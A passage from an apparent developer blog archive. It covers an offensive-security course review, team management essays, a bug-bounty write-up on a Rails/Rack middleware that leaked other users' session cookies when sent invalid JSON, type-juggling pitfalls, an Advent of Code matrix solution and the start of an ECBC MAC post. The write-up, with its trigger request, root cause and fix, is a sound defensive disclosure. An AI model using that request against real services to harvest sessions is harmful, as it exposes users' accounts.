Last but not least, the community is pretty active on discord and offensive security forums. This is a great way to get help and to share knowledge. If you manage to find people going over the course at the same time, which is not that hard, you can even brainstorm a problem together.

What could have been better?

I wish we had access to more hands-on machines that are aligned with the course content. While it’s possible to find machines in HackTheBox or TryHackMe that are aligned with the course content it would be great if everything was bundled within the course material.

The second thing is how the exam is scored. Students are required to have a score of at least 85 out of 100 to pass. The exam consists of two machines, for each of those you will need to read 2 different files. The first file on each machine is scored 35 points each. The second file is scored 15 each. Last but not least, you cannot get to the second file without getting to the first. This structure means that failing to get one of the first files is an automatic exam failure. This adds a lot of pressure during the exam and I wonder if having more objectives could mitigate this all-or-nothing feeling.

How’s the exam?

The exam is a huge time commitment and lasts 72 hours. Students are expected to tackle two different machines in the first 48 hours where they have to complete a set of objectives like privilege escalation and remote code execution. The last 24 hours are dedicated to writing a report detailing how the objectives were identified, exploited and finally automated. I found the exam realistic and closely aligned with the course material.

Any advice?

I’m glad you asked! There were a few things that made my experience better and that I would recommend:

Engage with the community. There are a lot of talented people around and you will find yourself teaching and learning from them.
Take notes. For every new technology or framework you encounter it pays off to write common insecure code patterns or general knowledge about the technology. This can drastically speed up your learning process and overall approach during code review.
Every chapter in the course material has extra assignments that you can do on your own and I highly recommend doing those. They are challenging and will help you learn more about each topic. More importantly, they will require the same mindset as the exam.
Take breaks during the exam to stretch, drink water and sleep. This is especially important when you find yourself stuck. Take a break, go for a walk, rethink your approach and carry on.
Write a high-level documentation about vulnerabilities during the exam, this will help you when writing the report and make sure you are not forgetting anything. Screenshots are an important part of the process.

Conclusion

I would recommend the course to software developers interested in web security or people within application security that would like to get more comfortable with software development and source code reading. There’s a lot of value in the course material and knowing that someone went through the material and finished the exam proves their commitment to learning and improving their skillset.

Stay safe everyone, and keep learning!

Watch out for teams under high utilization

Fri, 22 Apr 2022 12:30:00 GMT

In this blog post we will discuss team responsibilities through the lenses of queueing theory. If you are not familiar with the concept don’t worry about it, but you will have to trust some of my claims. The main one being the relationship between lead time and throughput and how a system running close to capacity tends to have higher lead times. Put another way:

As utilization goes up, lead time goes up as well. Except that lead time goes up exponentially.

But if I’m doing more, how can I be moving slower? This seems counterintuitive at first and it’s the reason I’m writing this blog post.

Let’s define what we mean with “High utilization” and what “lead time” actually is. Once we have these definitions in place we can try to tie those concepts together and see how they impact our teams.

High utilization

We can define high utilization as team members spending most of their time tackling tasks directly related to the delivery of their projects. You can think of these tasks as something that moves the project forward towards completion. In most cases this will mean feature development, but it also applies to operational teams taking care of areas like infrastructure or security. Put another way, team members have most of their time occupied with individual tasks, not with shared responsibilities like documentation, code reviews or mentoring.

Everyone has a queue of tasks that needs to be done “now”, and this queue only grows as the number of tasks increases. I’m sure most of you have been in this position before, where it doesn’t matter the amount of work you do, there’s always new things in the queue. This seems great from a company or management perspective since it implies things are getting done. Or is it? I will argue that it’s the opposite. The higher the utilization the longer teams will take to complete their tasks and deliver value.

Again, I know this seems counterintuitive.

Lead time

We will use the common definition of lead time, which is:

Lead time measures the time from the moment someone makes a request to the time they receive something

If you have more tasks than you can handle it’s a given that something will have to wait in the queue, but why would lead time increase exponentially?

Common reasons

While each team will face distinct challenges, there are commonalities among teams under high utilization. Some or most of those are directly related to an increase in the cognitive load of each team member.

Prioritization

It’s easy to prioritize among a small number of tasks, but it becomes increasingly harder to prioritize a higher number of them. Should you unblock a team that has been waiting for a few weeks, run a security review for an important product release or validate the approach that a team is planning to take on their technical design? Wait, what about this new incident that just started?

It is time consuming to reason about what should be done next and it’s likely that the team will have to prioritize for the short-term. This is not beneficial from a business perspective and tends to make things worse in the long run.

Psychological stress

Even if you do end up prioritizing efficiently, just the sheer fact of having a queue with lots of high-priority tasks in it is stressful, reduces the ability to concentrate, and increases the cognitive load. Being on-call is a good example here, even if there’s a possibility that nothing will happen there’s always that underlying “stress” that makes people unable to fully relax or focus.

Context switching

It’s no surprise that people are more productive when they can work on a task from start to finish without interruption, but as the utilization goes up, so does the amount of concurrent tasks people are tackling. Unfortunately switching context is expensive, energy and time-wise. This will not only decrease the throughput of the team, but also decrease the overall quality of the final product.

Coordination

Even in the best circumstances coordination is a challenge, but when every team member is being fully utilized coordination becomes exponentially harder. This becomes evident when a task falls under the umbrella of shared responsibilities, like code reviews or documentation. Why?

Depending on your team, one or two people will need to set time aside to review a particular pull request, but who has time to do it? While no one sets time aside (or is not directly told to help), at least one person in the team is blocked or will have to switch contexts while they wait. Since we are aiming for high utilization we likely have someone else waiting on this task to be done, that person will also need to switch contexts.

The second type of coordination is logistical, it assumes we are able to plan our tasks and predict how long each one will take correctly. It also assumes no one else in the team will face unforeseen circumstances. Sounds far from reality, does it not?

Usual consequences

While every team will face distinct challenges, most of them will face the same consequences.

Communication

One of the first things that breaks down is communication. Asynchronous messages start taking longer to be answered or not answered at all in public and private channels. Emails or issues will tend to be forgotten until someone volunteers or gets “voluntold”. You will notice less engagement in meetings, with people multitasking or not participating at all. This in turn decreases the amount of collaboration and trust among team members.

Shared responsibilities

With every team member under high utilization shared responsibilities starts falling through the cracks. These are the responsibilities that are not tied to any single individual, but that are shared among the team. Among those we can list:

Mentorship
Knowledge sharing
Code reviews
Documentation

Among those, code reviews and mentorship directly impacts the cycle time as well. Notice how all of those are critical for a healthy organization in the long-term. It’s not a coincidence that they are deprioritized.

Why does this myth of high utilization persist?

If doing things this way impacts delivery speed and quality in the long run, why do we still see high utilization as a positive signal? My theory is that most of our industry is caught up playing short term games.

Leadership is expected to provide results in short-term cycles, hence management gets recognized for delivering projects in tight timelines and developers are rewarded when they are able to ship tasks as fast as possible. None of these behaviours are responsible for creating better products, teams or culture in the long run. This reminds me of a quote from Dave Packard:

“More Organisations Die Of Indigestion Than Starvation”

This quote really resonates with me. We need teams focused on a small number of objectives that are aligned with the company vision. High utilization doesn’t allow for strategic planning, getting teams caught up in a tactical mindset.

Things to look out for

If you are not sure whether your team is under high utilization or not (you probably know) you can look for the following characteristics:

Team members working alone or in small teams due to too many initiatives
Poor engagement in meetings
Asynchronous channels (Slack, email, etc) drying up in participation or being slow/ignored
Pull request cycle time increasing
- PRs are taking longer to be opened (high complexity/lower quality in the codebase)
- PRs are taking longer to be reviewed (context switching)
Increased amount of bugs in production
Knowledge silos (small groups each holding part of the knowledge while no one in the team holds the full picture)
Lack of documentation

Pay special attention to decisions on how the strategic objectives should be delivered being made without or far from the team that is executing it.

Caveats

There are moments where high utilization is unavoidable. For example, if your company is trying to find market fit or when time to market is critical for success. These tend to be highly overestimated by companies, but it is a legitimate scenario that should be taken into consideration. With that said, keeping teams under high utilization for long periods of time is not a viable strategy.

Conclusion

It takes a team to push against the myth of high utilization. Developers should raise their concerns when they feel they are lacking support or stretched too thin. Knowing when to say “no” is a powerful skill to have. Managers should listen to the team’s feedback, but also keep an eye on and push back when they feel like the team is juggling between too many responsibilities. You will rarely hear a “no” from junior developers and it is your job to pay attention to a high utilization situation. Leadership on the other hand should trust that their teams are making good decisions on how their strategic objectives should be delivered. Make sure, despite the level you are operating in, that you have alignment with people around you and avoid making assumptions about what people know.

Ultimately growing queues (faster than cycle time) are inevitable, but there’s a big difference between accepting this fact and still allowing the team to do deep work versus trying to tackle everything at the same time. When everything is a priority, nothing is a priority.

Thank you for reading. If you have comments or suggestions I would love to have a conversation about this topic with you. As always you can reach out to me via email or twitter. See you next time!

Gatekeeping in the software industry

Sun, 13 Mar 2022 12:30:00 GMT

Gatekeeping is a common term in the Software Development industry and depending on whom you ask it can have positive or negative connotations.

I thought it would be a fun exercise to define what this term means to me, so without further ado, what is a gatekeeper and what does gatekeeping even mean?

Gatekeeper

For our discussion I will define a gatekeeper as:

a person or group who controls access to something, be it a project, process or even something abstract like a company’s culture

Individuals usually end up in the position of a gatekeeper due to context (time on a project), seniority (technical expertise) or due to owning rights (project creator). In broader terms everyone is a gatekeeper. For example, you decide who or what goes into your own house.

Becoming a gatekeeper can also happen organically. When an employee is the only person remaining in the company that tackled a particular project they become a gatekeeper by default until another team can build the necessary context to run that project.

Gatekeeping

I like to think of the act of gatekeeping as a funnel that starts with a broad set of inputs and only a subset of those make it to the end of the funnel and get incorporated into the resource being overlooked by gatekeepers.

Input might be dropped due to a lack of alignment with the project vision, poor code quality or simply a lack of time. All according to the gatekeepers’ opinion, of course.

Given that, what can be considered positive or negative gatekeeping?

Positive gatekeeping

Positive gatekeeping happens when gatekeepers are able to share context, knowledge and align other contributors towards their vision. Over the long term the friction with the remaining contributors decreases since the overall context is increasing.

Successful open source projects are a good example of positive gatekeeping since creators are able to share their vision and knowledge. The consequence is that new maintainers and core contributors end up joining and a community is formed around the project. This is reflected through good documentation, onboarding experience, tooling and a consistent codebase.

It’s important to mention that we are trading higher friction upfront for lower friction in the long run and doing so at scale is increasingly hard.

Negative gatekeeping

Every developer has experienced negative gatekeeping at some point in their career. You might remember it as a senior developer blocking your work but not sharing their knowledge and helping you get better at your craft, or leaders pushing decisions from the top without sharing their vision or hearing your input.

Negative gatekeeping trades lower friction upfront for higher friction in the long run. It’s easier for gatekeepers to do something themselves since they already have the context, but coworkers or contributors will keep depending on them for every other task that requires the same context. This will have negative consequences as time goes on.

Gatekeepers will burn out due to the sheer amount of demand for their attention, while coworkers/contributors will feel frustrated that they are not improving their craft or being heard. Both scenarios will leave the company in a worse place and as a leader you should pay special attention to the kind of gatekeeping that is happening around you and your team.

Leadership and gatekeeping

I don’t see leadership being discussed as much in the context of gatekeeping, but a lot of problems can be framed in this context.

Knowledge silos due to lack of context sharing
Team velocity since gatekeepers are bottlenecks
Lack of individual growth due to poor mentorship
Amount of bugs, again due to a lack of context sharing
Team member turnover due to burnouts

As a leader it’s important to pay special attention to the type of gatekeeping that is happening around you (and by you). Sometimes just becoming aware of the situation is enough to promote change. Below is a non-exhaustive list of things that have worked for me in the past in no particular order:

Recognizing team members for good mentorship skills
Celebrating thorough documentation
Publishing project updates
Creating spaces for knowledge sharing like dedicated slack channels or meetings
Making clear what vision and goals we have for a team or projects

What else has worked for you before?

Summary

Gatekeeping can be either positive or negative, pay attention of which one you are promoting on a daily basis. It can be tempting to be the person “holding the knowledge”, the person that people depend on for their daily tasks. Fight that urge, you are stiffling your team’s growth and spending time gatekeeping them when you could be sharing your knowledge and making time to learn something entirely new.

Software development is not a zero-sum game.

Memory leak in Rack middlewares

Thu, 03 Mar 2022 11:35:00 GMT

Earlier this month we received a report in our Bug Bounty program claiming that user sessions were being leaked when a request was made with an invalid JSON body. We were skeptical at first, but to our surprise we managed to replicate the report! What is going on? This post aims to summarize our findings and hopefully save other teams some time and trouble in the long run.

Scenario

Every new request with an invalid JSON body would expose one or more Set-Cookie headers in our responses, sometimes from sessions you did not own yourself.

Request

POST /graphql HTTP/1.1
Host: service.com
Accept: */*
Content-Type: application/json
Content-Length: 18

{
  broken JSON

Response

HTTP/1.1 400 Bad Request
Date: Thu, 03 Feb 2022 12:24:48 GMT
Content-Type: text/plain
...
Set-Cookie: _service_session=<value1>; path=/; expires=Fri, 04 Feb 2022 08:38:48 GMT; secure; HttpOnly; SameSite=Lax; SameSite=None;
Set-Cookie: _service_session=<value2>; path=/; expires=Fri, 04 Feb 2022 11:56:03 GMT; secure; HttpOnly; SameSite=Lax; SameSite=None; 
...

Bad Request

Response with multiple Set-Cookie headers, which shouldn’t happen in our case.

Context

Our app was built using Rails and runs on Puma.

In order to understand the issue we need to make a detour and talk about Rack in a very hand-wavy way. Rack provides an API for:

Web servers, which is Puma in our scenario
Web frameworks, which is Rails
Middlewares, which is code that runs in-between our web server and our framework

Since every part of our workflow uses the same API we can chain our calls from a request to a response. This can be roughly visualized as:

Request
  -> Web Server
    -> Middleware 1
      -> ...
        -> Middleware N
          -> Web Framework
        <- Middleware N
      <- ...
    <- Middleware 1
  <- Web server
Response

It’s worth reiterating that middlewares can be chained, and they respect the same API. The return of each middleware has the following format:

[
  <http_status>,
  { <Hash containing headers> },
  [ <Array containing the response body> ]
]

For example:

[200, {"Content-Type" => "text/plain"}, ["Hello!"]]

This should be enough to understand our bug. If you would like to know more about Rack and how middleware works I recommend starting here.

Spot the bug

A simplified view of the middleware chain in our application can be represented as:

Request
  -> Web Server
    -> Authorization::Middleware
      -> SetCookie::Middleware
        -> Web Framework
      <- SetCookie::Middleware
    <- Authorization::Middleware
  <- Web server
Response

With this context in mind let’s dive right into the code. I’ve tried to simplify the middleware as much as possible without compromising the context, can you spot the problem?

module Authorization
  class Middleware
    BAD_REQUEST_RESPONSE = [
      400, { "Content-Type" => "text/plain" }, ["Bad Request"]
    ]
    
    def initialize(app, policies: nil)
      @app = app
      @policies = policies
    end
    
    def call(env)
      request = ActionDispatch::Request.new(env)
      policy = policies.for_path(request.fullpath)

      # Returns [HTTP_STATUS, HEADERS, [BODY]]
      if policy.satisfied?
        return @app.call(env)
      end

      # Policy not satisfied, redirect to login
      redirect_to_login
    rescue ActionDispatch::Http::Parameters::ParseError => e
      # Log errors and fire some metrics
      BAD_REQUEST_RESPONSE
    end
  end
end

If you managed to pinpoint that the problem is being caused by the BAD_REQUEST_RESPONSE constant, congratulations! If not, that’s completely fine and we will investigate why that is a problem in the next sections.

Returning a constant from a Rack middleware

Once our Middleware class gets loaded the BAD_REQUEST_RESPONSE constant will be defined and stay in memory until our class goes away. We can assert that this is the case by doing:

require 'objspace'

module Authorization
  class Middleware
    # ...
    def call(env)
      # ...
      puts ObjectSpace.dump(BAD_REQUEST_RESPONSE)
      # ...
    end
  end
end

The output will be similar to:

{"address":"0x120929688", "type":"ARRAY", "class":"0x1208972d8", "length":3, "embedded":true, "references":["0x120929700", "0x1209296b0"], "memsize":40, "flags":{"wb_protected":true, "old":true, "uncollectible":true, "marked":true}}

The important piece of information in our case is the true value in the "uncollectible" key, which proves that our constant will not be garbage collected. We could have also logged BAD_REQUEST_RESPONSE.object_id in each request to notice that the object didn’t change.

It’s important to mention that having an object that is not garbage collected is totally fine unless your object is being modified in a way that makes it increase in size in an unbounded manner. Let’s keep digging.

Since BAD_REQUEST_RESPONSE cannot be garbage collected we can assume that objects within it are also safe from it. Let’s double check this assumption:

require 'objspace'

module Authorization
  class Middleware
    # ...
    def call(env)
      # ...
      # Accessing the hash containing our response headers
      puts ObjectSpace.dump(BAD_REQUEST_RESPONSE[1])
      # ...
    end
  end
end

The output will be similar to:

{"address":"0x120929700", "type":"HASH", "class":"0x1208951e0", "size":2, "references":["0x1208e3610", "0x120929750", "0x1208e3480", "0x120929728"], "memsize":168, "flags":{"wb_protected":true, "old":true, "uncollectible":true, "marked":true}}

Notice that the address can be found within the list of references when we ran ObjectSpace.dump on the entire BAD_REQUEST_RESPONSE object earlier. More importantly, we can again confirm that our inner object won’t be garbage collected since it contains "uncollectible":true.

Middlewares can be chained

We’ve talked about this earlier, but every middleware in our chain can modify the request or response and pass it forward to the next middleware or web framework. What happens if one of our middleware modifies one of the objects within BAD_REQUEST_RESPONSE?

Turns out that since our object cannot be garbage collected it will still be available in future requests!

We now have a clear picture of what happened:

Our BAD_REQUEST_RESPONSE constant gets returned to the next middleware when an invalid JSON body is parsed
Another middleware in the chain modifies the header object within BAD_REQUEST_RESPONSE with a Set-Cookie
Our framework returns a BAD REQUEST HTTP status with a single Set-Cookie header
A new request with an invalid JSON body arrives
Our modified BAD_REQUEST_RESPONSE constant gets passed to the next middleware when an invalid JSON body is parsed
Yet another Set-Cookie gets added to the object that contains our headers
Our framework returns a BAD REQUEST HTTP status with a two distinct Set-Cookie headers
Go back to step 4 and increase the number of Set-Cookie headers by one

This means that our BAD_REQUEST_RESPONSE object will grow every time a bad request comes in, this is a problem even if it wasn’t leaking confidential information.

We can inspect this behaviour in each request by using ObjectSpace.dump with the object that contains our headers.

ObjectSpace.dump(BAD_REQUEST_RESPONSE[1])

First request

{"address":"0x120929700", "type":"HASH", "class":"0x1208951e0", "size":2, "references":["0x1208e3610", "0x120929750", "0x1208e3480", "0x120929728"], "memsize":168, "flags":{"wb_protected":true, "old":true, "uncollectible":true, "marked":true}}

Second request

{"address":"0x120929700", "type":"HASH", "class":"0x1208951e0", "size":3, "references":["0x1208e3610", "0x120929750", "0x1208e3480", "0x120929728", "0x120b06578", "0x120a87f98"], "memsize":168, "flags":{"wb_protected":true, "old":true, "uncollectible":true, "marking":true, "marked":true}}

Notice how the list of references increased between requests. None of these references will be garbage collected either!

The fix

The fix was pretty anticlimactic and just consisted of not using a constant in our middleware. This guarantees that a new object will be used in each request.

module Authorization
  class Middleware
    # BAD_REQUEST_RESPONSE removed
    
    def initialize(app, policies: nil)
      # Everything remains the same
    end
    
    def call(env)
      # Everything remains the same
    rescue ActionDispatch::Http::Parameters::ParseError => e
      # A brand new Array on each request
      [
        400,
        { "Content-Type" => "text/plain" },
        ["Bad Request"]
      ]
    end
  end
end

Conclusion

Referencing constants within a Rack middleware might cause memory leaks and expose sensitive information. Since the issue is order dependent it might sit undiscovered in the codebase for a long time until a new middleware that is completely unrelated to your old one triggers it. Or it might never become a problem at all!

When in doubt, object_id and ObjectSpace.dump are great tools to validate assumptions.

Thank you for reading and see you next time!

Insecure Software Development

Fri, 28 Jan 2022 08:00:00 GMT

TL;DR;

If you don’t have the time or is not sure if you want to read this post, here are the main points discussed:

Hidden complexity is a common cause of security vulnerabilities
There are multiple ways to tackle complexity in codebases, each with different degrees of success and pitfalls
Code review is a great tool to reduce complexity before it becomes a problem
Type juggling is still a thing and is a good example of hidden complexity causing issues

Introduction

Do you remember Log4J? What about Dependency Confusion? How could you not? At the time of this writing both happened over this past year and disrupted parts of our industry. Development and Infrastructure teams scrambled to patch their systems. Companies with poor asset management had it even worse, trying to identify and uncover vulnerable infrastructure while responding to these incidents. So what does both of these incidents have in common? I will blame hidden complexity here.

Log4J abstracted environment variables, JNDI, and other kinds of lookups in log messages through a custom syntax that is parsed at the time of logging. Dependency confusion was caused by package managers trying to abstract the domain of dependency management, which is far from simple. In both cases library maintainers made the behaviour implicit.

Complexity

In practical terms we can define complexity as anything pertaining to our system that makes it difficult to understand or modify.

As software evolves and gains more features, it becomes complex, with subtle coupling between components. This leads to bugs and longer development cycles. Eventually no single developer can keep the entire context of their codebases in their heads anymore and more bugs start popping up, slowing the development cycle even more. There are usually two approaches to fight complexity:

Make the code simpler and obvious
Encapsulate complexity, abstract

Make the code simpler and obvious

The idea here is to make things explicit. The less our users have to guess in order to use what we built the better. Users here can range from developers to end users of our products, libraries or our own codebases.

Good naming practices, meaningful names
- Can we understand on a high level what this code is trying to achieve without having to dig deeper?
Eliminating special cases
- Can we enforce invariants?
- Can we just crash instead of handling special cases?
- Can we have a single implementation for our interfaces?
Ensuring consistency
- Are we following the same patterns across the codebase?
- Are we enforcing our conventions?
- Are our comments high level and useful?
- Do we have good defaults?

From a security point of view fighting complexity by making the code simpler and obvious is a clear winner. Why should we encapsulate parsing environment variables from log messages when this is clearly a special case? Developers can explicitly handle this complexity instead of relying on the library.

Encapsulate complexity, abstract

The idea of this approach is to hide complexity so developers don’t need to understand all the complexities of a certain domain in order to work on it. This is usually related to classes or modules, where each one is designed to be relatively independent of each other. Developers can work in a module without concerning themselves with another.

Notice that this goes against our main point of making things explict. There is a fine balance between choosing what should be explicit and which parts of the domain we can hide without compromising our decision making process while coding. Let’s investigate how things can go wrong.

Abstractions can go wrong in two ways:

Expose information that is not important (leaky abstraction)
Omit details that are important (obscure abstractions or false abstractions)

Leaky abstractions are painful to handle from a developer perspective, but don’t affect security as much as false abstractions. Dependency confusion can be explained by false abstractions. By not exposing where dependencies were being resolved from, which is an important detail on this domain, package managers created a false abstraction that allowed attackers to exploit package resolution. Developers didn’t have the right information in order to use the abstraction correctly.

Security

From a security perspective designing for simplicity is the best way to achieve secure code. And simplicity here doesn’t only mean less features or code, it means making things more obvious. You can have a functionality that requires hundreds of lines of codes that is simpler than a similar one with half of that code.

Let’s use the old Javascript or PHP type juggling as scenarios where code simplicity was not followed:

"0e1234" == 0
true

Javascript snippet

var_dump('0xCAFE' == 51966);
bool(true)

This is fixed in newer versions of PHP

It’s not obvious that type casting will happen during comparison and actually make these comparisons return true. Being forced to remember special cases of your daily functions increases cognitive load and leads to bugs. Unsurprisingly, we had a range of vulnerabilities occurring because of this implicit behaviour.

Plenty of other programming languages and libraries have implicit behaviour, from URL parsers causing URL confusion to user management software not employing the principle of least privilege by default.

So what can we do to reduce hidden complexity in our own systems? This is a really hard question, but code reviews always comes to my mind as a place where software development and security can work together to generate a better outcome.

Code Reviews

Code reviews are a great way to identify complex or implicit behaviour. It doesn’t matter if you are a junior, senior or the ultimate developer, if someone points out that they are having a hard time understanding your code then your code is complex.

As a code reviewer you have the opportunity to:

Point out code complexity
- Are new abstractions encapsulating the right information?
- Do developers need to have special context to make the right decisions?
- Do we have a simpler way to handle this?
Question the introduced behaviour
- Are we coding for our current needs or are we trying to anticipate requirements?
- Do we have new dependencies? Are they vetted?
Point out special cases
- Do we have different code paths generating different outcomes?
- Do we actually need to handle these edge cases?
Ask for context through documentation
- If we have trouble explaining the introduced behaviour things are likely to be more complex than they should

The role you are playing at your company doesn’t matter, keeping simplicity and explicit behaviour as goals will benefit the codebase and promote secure code.

Conclusion

Coding with simplicity in mind not only reduces the amount of functional bugs in your codebase, but also the possibility of security vulnerabilities occurring due to hidden complexity or special case handling.

As developers we should think about our abstractions and reason whether our users have the information they need to make the right decisions. Going even further, do we need to provide every piece of functionality to our users that we are doing today or can our API surface be simplified?

Design for simplicity, and good luck!

Thank you for reading. If you have comments or suggestions I would love to have a conversation about this topic with you. As always you can reach out to me via email or twitter. See you next time!

Mathematically solving Advent of Code 2021 day 06

Fri, 10 Dec 2021 18:00:00 GMT

Advent of Code also called AoC is a set of small programming puzzles that are released daily from December 1st up till December 25th and that can be solved in any programming language you like. What I find particularly interesting about it is that the community is very active and you can always reach out for help or to compare solutions after you have solved a particular puzzle.

Today we will chat about the puzzle that we had on day 6. After solving a puzzle I usually go to the Reddit thread of that day to check for alternative solutions. It’s there that I noticed that this puzzle could have been solved using matrix exponentiation and it took me some time to understand how that worked. This post is my attempt to explain this interesting solution.

Introduction

In this problem we are asked to model a population of fish. The model works like the following:

Each fish is represented by a number, which is the amount of days before reproduction.
This number decreases each day
Once it reaches 0, on the next day, two things will happen:
- that fish number is reset to 6
- and a new fish with a value of 8 is created

This means that a fish reproduces every 7 days, and that each new fish needs 2 more days when they are created.

Example

Suppose our input is the following: 3,4,3,1,2

Remember that each number represents the state of a single fish.

Let’s sort this input and manually compute this population after five days:

Initial state: 1,2,3,3,4
After  1 day:  0,1,2,2,3
After  2 days: 0,1,1,2,6,8
After  3 days: 0,0,1,5,6,7,8
After  4 days: 0,4,5,6,6,6,7,8,8
After  5 days: 3,4,5,5,5,6,6,7,7,8

So after five days we have ten fish. The state of each fish doesn’t matter when we are computing the final population count.

Here’s the interesting leap. Since we know that a fish can have a state between 0 and 8 we can represent that same information using a matrix. Each column represents a possible state of a fish and we can compute the amount of fish in that state each day. As a side note a 1 by N matrix (1 row with N columns) is usually called a vector.

Our input is still 3,4,3,1,2, let’s write it in a matrix form:

               0,1,2,3,4,5,6,7,8
Initial state: 0,1,1,2,1,0,0,0,0

This means we have:

One fish in state 1
One fish in state 2
Two fish in state 3
One fish in state 4
No fish in any other state

Let’s manually compute the population after five days in matrix form:

               0,1,2,3,4,5,6,7,8
Initial state: 0,1,1,2,1,0,0,0,0
After  1 day:  1,1,2,1,0,0,0,0,0
After  2 days: 1,2,1,0,0,0,1,0,1
After  3 days: 2,1,0,0,0,1,1,1,1
After  4 days: 1,0,0,0,1,1,3,1,2
After  5 days: 0,0,0,1,1,3,2,2,1

And the answer is the sum of fish in each state: 0 + 0 + 0 + 1 + 1 + 3 + 2 + 2 + 1 = 10.

Solution

We need to find a new matrix that when multiplied with our existing matrix will give us the state of the next day. Let’s visualize this where M is our new matrix:

       Initial State           Day 01
M * (0,1,1,2,1,0,0,0,0) = (1,1,2,1,0,0,0,0,0)

          Day 01               Day 02
M * (1,1,2,1,0,0,0,0,0) = (1,2,1,0,0,0,1,0,1)

          Day 02               Day 03
M * (1,2,1,0,0,0,1,0,1) = (2,1,0,0,0,1,1,1,1)

There’s a linear recurrence relation here, what we want in a general way is:

M * (a,b,c,d,e,f,g,h,i) = (b,c,d,e,f,g,h+a,i,a)

Or in plain English:

state A becomes state B
state B becomes state C
state C becomes state D
state D becomes state E
state E becomes state F
state F becomes state G
state G becomes state H plus state A
state H becomes state I
state I becomes state A

Does this make sense? Every day the fish state decreases by one and a fish in state 0 will go back to state 6 and also generate a new fish in position 8.

Let’s run this transformation from day 01 to day 02 and see if this makes sense:

M * (a,b,c,d,e,f,g,h,i) = (b,c,d,e,f,g,h+a,i,a)
M * (1,1,2,1,0,0,0,0,0) = (1,2,1,0,0,0,0+1,0,1)

Seems about right! But how do we find M now? Luckily for us that’s the easy part, having the insight and identifying the linear recurrence was the hard part! What we want is:

Make state A become state B:
(0 * a) + (1 * b) + (0 * c) + (0 * d) + (0 * e) + (0 * f) + (0 * g) + (0 * h) + (0 * i)

Which becomes:
(1 * b)

So we have figured out the first line of our M matrix.

0 1 0 0 0 0 0 0 0

Let’s figure out the second line:

Make state B become state C:
(0 * a) + (0 * b) + (1 * c) + (0 * d) + (0 * e) + (0 * f) + (0 * g) + (0 * h) + (0 * i)

Which becomes:
(1 * c)

And we have the second line of our M matrix.

0 1 0 0 0 0 0 0 0
0 0 1 0 0 0 0 0 0

And doing that for each state yields the final M matrix!

┏                 ┓
┃0 1 0 0 0 0 0 0 0┃
┃0 0 1 0 0 0 0 0 0┃
┃0 0 0 1 0 0 0 0 0┃
┃0 0 0 0 1 0 0 0 0┃
┃0 0 0 0 0 1 0 0 0┃
┃0 0 0 0 0 0 1 0 0┃
┃1 0 0 0 0 0 0 1 0┃
┃0 0 0 0 0 0 0 0 1┃
┃1 0 0 0 0 0 0 0 0┃
┗                 ┛

So that’s how we could calculate day 01 from our initial state:

┏                 ┓     ┏ ┓
┃0 1 0 0 0 0 0 0 0┃     ┃0┃
┃0 0 1 0 0 0 0 0 0┃     ┃1┃
┃0 0 0 1 0 0 0 0 0┃     ┃1┃
┃0 0 0 0 1 0 0 0 0┃     ┃2┃
┃0 0 0 0 0 1 0 0 0┃  X  ┃1┃
┃0 0 0 0 0 0 1 0 0┃     ┃0┃
┃1 0 0 0 0 0 0 1 0┃     ┃0┃
┃0 0 0 0 0 0 0 0 1┃     ┃0┃
┃1 0 0 0 0 0 0 0 0┃     ┃0┃
┗                 ┛     ┗ ┛

By the way, our matrix M is similar to a permutation matrix, but adjusted to model our fish population (two ones in the first column as opposed to just one).

Now you might be asking yourself, “isn’t this much harder than programmatically solving this?” and you wouldn’t be wrong in my opinion! But this solution has benefits, for example, if you want to calculate the fish population after a million days we could compute this as:

M^1_000_000 * Initial State

And we know this problem can be efficiently solved by using exponentiation by squaring. Let’s use numbers to keep the explanation simpler, but using a matrix works in the exact same way.

Let’s say we want to compute a number like 2^22. The insight of fast exponentiation is that this can be broken down into:

2^16 * 2^4 * 2^2

And can calculate a table like the following:

| Exponent | Representation |
| -------- | -------------- |
| 2^0      | 1              |
| 2^1      | 2              |
| 2^2      | 2^1 * 2^1      |
| 2^4      | 2^2 * 2^2      |
| 2^8      | 2^4 * 2^4      |
| 2^16     | 2^8 * 2^8      |

So every row in the table can be computed by the previous row (recursively). For example, in order to compute 2^16 we only need four multiplications as opposed to sixteen! The idea is the same with matrices, we can compute each state based on the previous state instead of multiplying everything.

The result would be O(Log n) as opposed to O(n) arithmetic operations.

Recap

We noticed that it was possible to model our fish population as a matrix
We established a linear recurrence between days
We represented this linear recurrence as a permutation matrix
By using exponentiation by squaring we can compute our final answer in O(Log n) as opposed to O(n)

That was a really interesting exploration! AoC puzzles are a great way to practice solutions that I wouldn’t reach out to on a daily basis. Thank you for reading, as always you can reach me via email or twitter for questions or comments, see you next time!

ECBC algorithm

Fri, 19 Nov 2021 19:15:00 GMT

This is the second installment of our MAC series, read the previous posts to have a better understanding of what a MAC is and how it can be used to guarantee message integrity.

Message Authentication Code (MAC)
Encrypted CBC-MAC (ECBC)
NMAC
PMAC
HMAC
Poly1305-AES

In this post we will learn about MACs constructed using block ciphers by learning about the ECBC.

ECBC

ECBC, or encrypted CBC-MAC is a technique for constructing a message authentication code from a block cipher. Messages are encrypted with some block cipher algorithm in CBC mode to create a chain of blocks such that each block depends on the proper encryption of the previous block.

We have a previous posts explaining how CBC works, it will be helpful to have a grasp on the subject before moving forward. We will start by investigating how ECBC works through a diagram and we can discuss the implementation details afterwards.

Similarities between ECBC and CBC:

Like CBC we have an initialization vector (IV) which is usually set to zero in this algorithm.
Our message is still divided into blocks of 16 bytes assuming the encryption process is based on AES-128.
Every encrypted block will be XORed with the next block before being encrypted under the same key.

Differences between ECBC and CBC:

After the last block is encrypted we have a second key that will encrypt the final result of the chain.

It’s crucial for this second encryption to use a different key, without it we could forge a message from a previous message and tag. Before we attempt to exploit this vulnerability, let’s implement this algorithm.

Implementation

Most of the code here was already covered up in previous posts, the most relevant one for our understanding being the CBC Bitflipping Attack. Our example will assume that our messages are block aligned and no padding is required for now.

require 'openssl'

BLOCK_SIZE = 16
KEY1 = BLOCK_SIZE.times.map { rand(0..255) }
KEY2 = BLOCK_SIZE.times.map { rand(0..255) }
ZERO_IV = Array.new(BLOCK_SIZE, 0)
MESSAGE = 'ECBC is not as hard as I thought! I want a tag!!'.bytes

def aes_ecb_encrypt(message, key)
  cipher = OpenSSL::Cipher.new('AES-128-ECB')
  cipher.encrypt
  cipher.key = key.pack('C*')
  cipher.padding = 0 # no padding
  result = cipher.update(message.pack('C*')) + cipher.final
  result.unpack('C*')
end

# Slightly modified from our previous implementation, now
# we are just keeping the last encryption as opposed to the
# encryption for every block.
def aes_cbc_encrypt(message, key, iv)
